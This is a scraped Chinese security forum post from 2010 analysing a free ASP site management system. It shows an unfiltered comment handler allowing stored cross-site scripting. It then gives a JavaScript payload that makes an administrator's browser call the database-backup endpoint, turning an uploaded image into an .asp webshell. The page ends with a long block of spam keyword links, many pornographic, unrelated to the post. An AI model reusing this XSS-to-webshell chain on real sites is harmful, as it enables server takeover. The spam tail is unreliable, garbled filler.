<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>

    Rss & SiteMap

    曙海教育集團論壇 http://www.bjzhda.cn

    曙海教育集團論壇
    共1 條記錄, 每頁顯示 10 條, 頁簽: [1]
    [瀏覽完整版]

    標題:利用or構造SQL巧妙注射-分析睿智管理系統安全

    1樓
    wangxinxin 發表于:2010-12-13 13:47:46
    前言:
    ???? 最近上cnzz下載了一套網站管理系統,在源碼首頁發現它,心想cnzz都推薦應該安全性相當不錯了.官方下載最新版本本地搭建IIS測試發現簡潔易用,整體上安全做得不錯.由于是免費版的,可能官方有點放水.不過這里不影響我們的分析,這里討論兩個方面:跨站的利用,SQL注射.還是一句話:重在思路.
    一.隱藏的數據庫
    分析代碼經常要用到數據庫(我分析的是Access版本的) ,習慣性的打開數據庫,驚奇的發現只有一個notdown表,如圖01:
      
    可是再仔細查看代碼發現不應該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發現原來有還存在兩種屬性的數據表,即系統對象和隱藏對象.下面做一個小知識補充:
    由于Access默認是不顯示系統對象和隱藏對象的.所以如果一個表中存在隱藏對象或者系統對象那么就無法看到該表了. 簡單說下隱藏方法,設計好表后右擊表選擇&quot;屬性&quot;-&gt;&quot;隱藏&quot;屬性打勾,刷新下就看不到了,這樣就是隱藏對象了,默認是看不到的.至于系統對象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個系統對象.這兩種方法都可以.
    既然可以隱藏當然也可以恢復顯示了, 按如下操作:“工具”菜單-&gt;“選項”命令-&gt;“視圖”選項卡-&gt;選中“顯示”一欄下的“系統對象”復選框或者&quot;隱藏對象&quot;復選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02
      
    Ok了,數據就可以和正常的一樣了.
    二.跨站的深入利用雞肋
    首先看看漏洞文件/include/PlS.asp,查看代碼發現是一個評論顯示,在多個文件被包含了,代碼如下:  
    &quot;&quot; then
    ??????Dim Author,Content,mycode
    ????Author=Trim(Request.Form(&quot;Author&quot;))// 簡單的過濾空格
    ????Content=Trim(Request.Form(&quot;Content&quot;)) //同上
    ????mycode = trim(request.form(&quot;code&quot;))
    ??????if Author=&quot;&quot; or Content=&quot;&quot; then
    ??????Call Alert (&quot;請填寫完整再提交&quot;,&quot;-1&quot;)
    ????end if
    ????if mycodeSession(&quot;getcode&quot;) then
    ?????? Call Alert (&quot;您輸入驗證碼錯誤&quot;,&quot;-1&quot;)
    ????end if
    ??????set rs = server.CreateObject (&quot;adodb.recordset&quot;)
    ????sql=&quot;select * from zhi_rui_E_Pl&quot;
    ????rs.open sql,conn,1,3
    ????rs.addnew
    ????rs(&quot;cli&quot;)=Request.Form(&quot;cli&quot;)
    ????rs(&quot;Ioid&quot;)=request.Form(&quot;Inid&quot;)
    ????rs(&quot;Author&quot;)=Author
    ????rs(&quot;Content&quot;)=Content
    ??------------------------省略部分代碼-------------------------------
    %&gt;

    顯然沒有任何過濾,直接寫入數據庫,跨站產生了.由于數據庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數據庫?進入后臺看到數據庫備份,查看如圖03:
      
    看到了沒,據庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實不然,還可以繼續,經驗告訴我,他是將該輸入框寫成hidden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下:  
    &quot; size=&quot;40&quot; /&gt;[/td]

    看到這行type=hidden,猜測沒錯.那也就是說同樣可以備份任意文件了.所有后臺拿shell比較簡單了.(插馬備份數據庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創建xmlhttp會話
    if (window.XMLHttpRequest)
    {
    ??xmlhttp = new XMLHttpRequest();
    } else if (window.ActiveXObject)
    {
    ??try
    ??{
    ????xmlhttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
    ??}
    ??catch (e)
    ??{
    ????try
    ????{
    ??????xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
    ????}
    ????catch (e)
    ????{
    ????}
    ??}
    }
    function backup()
    {
    ??var postStr = &quot;DBpath=upload/2009082150598817.jpg&amp;bkfolder=../DataBase/bak/&amp;bkDBname=l4nk0r.asp&quot;;
    ??xmlhttp.open(&quot圖片點擊可在新窗口打開查看OST&quot;,&quot;/admin/Admin_data.asp?action=RestoreData&amp;act=Restore&quot;,true);
    ??xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);
    ??xmlhttp.send(postStr);
    }
    Backup();

    然后在你要提交的地方提交
    共1 條記錄, 每頁顯示 10 條, 頁簽: [1]

    Copyright © 2000 - 2009 曙海教育集團
    Powered By 曙海教育集團 Version 2.2
    Processed in .01563 s, 2 queries.
    主站蜘蛛池模板: 中国speakingathome宾馆学生| 欧美性xxxxx极品老少| 精品久久人人妻人人做精品| 男人扒开女人腿使劲桶动态图| 玉蒲团之偷情宝鉴电影| 欧美老人巨大xxxx做受视频| 最近免费中文字幕大全高清10| 曰本视频网络www色| 无码高潮少妇毛多水多水免费| 宅男噜噜噜66| 国产精品亚洲а∨无码播放不卡| 国产农村妇女精品一二区| 免费看黄的网站在线看| 亚洲日韩欧美一区二区三区| 久久婷婷人人澡人人喊人人爽| 一本色道久久综合一区| 18女人腿打开无遮掩免费| 精品国产欧美精品v| 欧美日韩精品久久免费| 无遮掩60分钟从头啪到尾| 在线观看污污网站| 国产在线视频一区二区三区| 全免费毛片在线播放| 亚洲一区二区三区电影| 久久99热精品免费观看牛牛| 99热都是精品久久久久久| 菠萝蜜视频在线播放| 波多野结衣教师未删减版| 日韩中文字幕在线播放| 大美女啪啪污污网站| 国产在线观看免费视频播放器| 免费一级毛片女人图片| 久久精品夜色噜噜亚洲A∨| www.亚洲日本| 虎白女粉嫩尤物福利视频| 欧美裸体XXXX极品少妇| 日日夜夜操操操| 国产精品水嫩水嫩| 国产18到20岁美女毛片| 亚洲国产成人精品女人久久久| 九月婷婷综合婷婷|